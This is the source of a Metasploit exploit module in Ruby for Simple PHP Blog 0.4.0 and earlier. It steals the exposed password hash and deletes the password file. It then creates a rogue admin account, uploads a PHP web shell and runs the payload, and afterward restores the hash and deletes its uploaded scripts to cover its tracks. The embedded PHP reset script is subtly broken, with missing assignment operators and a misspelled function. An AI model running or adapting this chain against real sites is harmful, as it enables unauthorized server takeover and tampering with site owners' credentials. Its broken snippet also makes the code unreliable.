Simple PHP Blog <= 0.4.0 - Remote Command Execution



##

# $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
            'Description'    => %q{
                    This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
                application to upload arbitrary data and thus execute a shell. The first
                vulnerability exposes the hash file (password.txt) to unauthenticated users.
                The second vulnerability lies within the image upload system provided to
                logged-in users; there is no image validation function in the blogger to
                prevent an authenticated user from uploading any file type. The third
                vulnerability occurs within the blog comment functionality, allowing
                arbitrary files to be deleted.
            },
            'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9929 $',
            'References'     =>
                [
                    ['CVE', '2005-2733'],
                    ['OSVDB', '19012'],
                    ['BID', '14667'],
                    ['URL', 'http://www.milw0rm.com/exploits/1191'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                    'Space'       => 1024,
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Aug 25 2005',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
            ], self.class)
    end

    def check
        res = send_request_raw({
            'uri'     => datastore['URI'] + '/index.php'
        }, 25)

        if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

            ver = [ $1.to_i, $2.to_i, $3.to_i ]
            print_status("Simple PHP Blog #{ver.join('.')}")

            if (ver[0] == 0 and ver[1] < 5)
                if (ver[1] == 4 and ver[2] > 0)
                    return Exploit::CheckCode::Safe
                end
                return Exploit::CheckCode::Vulnerable
            end
        end

        return Exploit::CheckCode::Safe
    end

    def retrieve_password_hash(file)

        res = send_request_raw({
            'uri'    => datastore['URI'] + file,
        }, 25)

        if (res and res.message == "OK" and res.body)
            print_status("Successfully retrieved hash: #{res.body}")
            return res.body
        else
            raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
            return false
        end
    end

    def create_new_password(user, pass)

        res = send_request_cgi({
            'uri'     => datastore['URI'] + '/install03_cgi.php',
            'method'  => 'POST',
            'data'    => "user=#{user}&pass=#{pass}",
        }, 25)

        if (res)
            print_status("Successfully created temporary account.")
        else
            print_error("Unable to create a temporary account!")
        end
    end

    def retrieve_session(user, pass)

        res = send_request_cgi({
            'uri'     => datastore['URI'] + "/login_cgi.php",
            'method'  => 'POST',
            'data'    => "user=#{user}&pass=#{pass}",
        }, 25)

        if (res)
            print_status("Successfully logged in as #{user}:#{pass}")

            if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
                session = $1
                print_status("Successfully retrieved cookie: #{session}")
                return session
            else
                print_error("Error retrieving cookie!")
            end
        else
            print_error("No response received while logging in.")
        end
    end

    def upload_page(session, dir, newpage, contents)

        boundary = rand_text_alphanumeric(6)

        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
        data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
        data << contents
        data << "\r\n--#{boundary}--"

        res = send_request_raw({
            'uri'      => datastore['URI'] + "/upload_img_cgi.php",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'     => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
                'Cookie'     => "my_id=#{session}; PHPSESSID=#{session}",
            }
        }, 25)

        if (res)
            print_status("Successfully uploaded #{newpage}")
        else
            print_error("Error uploading #{newpage}")
        end
    end

    def reset_original_password(hash, scriptlocation)

        res = send_request_cgi({
            'uri'     => datastore['URI'] + scriptlocation,
            'method' => 'POST',
            'data'     => "hash=" + hash,
        }, 25)

        if (res)
            print_status("Successfully reset original password hash.")
        else
            print_error("Error resetting original password!")
        end
    end

    def delete_file(file)

        delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

        res = send_request_raw({
            'uri'    => datastore['URI'] + delete_path,
        }, 25)

        if (res)
            print_status("Successfully removed #{file}")
        else
            print_error("Error removing #{file}!")
        end
    end

    def cmd_shell(cmdpath)
        print_status("Calling payload: #{cmdpath}")

        res = send_request_raw({
            'uri'    => datastore['URI'] + cmdpath
        }, 25)

    end

    def exploit

        # Define the scripts to be uploaded to aid in exploitation
        cmd_php = '<?php ' + payload.encoded + '?>'

        reset_php = %Q|
        <?php $hash $_POST['hash'];
        
$fp fopen("../config/password.txt","w");
        
fwrite($fp,$hash);
        
fpclose($fp);
        
?>|

        # Generate some random strings
        cmdscript    = rand_text_alphanumeric(20) + '.php'
        resetscript    = rand_text_alphanumeric(20) + '.php'
        newuser     = rand_text_alphanumeric(6)
        newpass     = rand_text_alphanumeric(6)

        # Static files
        directory     = '/images/'
        cmdpath     = directory + cmdscript
        resetpath     = directory + resetscript
        passwdfile     = '/config/password.txt'

        # Let's do this thing
        hash = retrieve_password_hash(passwdfile)
        delete_file(passwdfile)
        create_new_password(newuser, newpass)
        session = retrieve_session(newuser, newpass)
        upload_page(session, directory, resetscript, reset_php)
        upload_page(session, directory, cmdscript, cmd_php)
        reset_original_password(hash, resetpath)
        delete_file(resetpath)
        cmd_shell(cmdpath)
        delete_file(cmdpath)
    end
end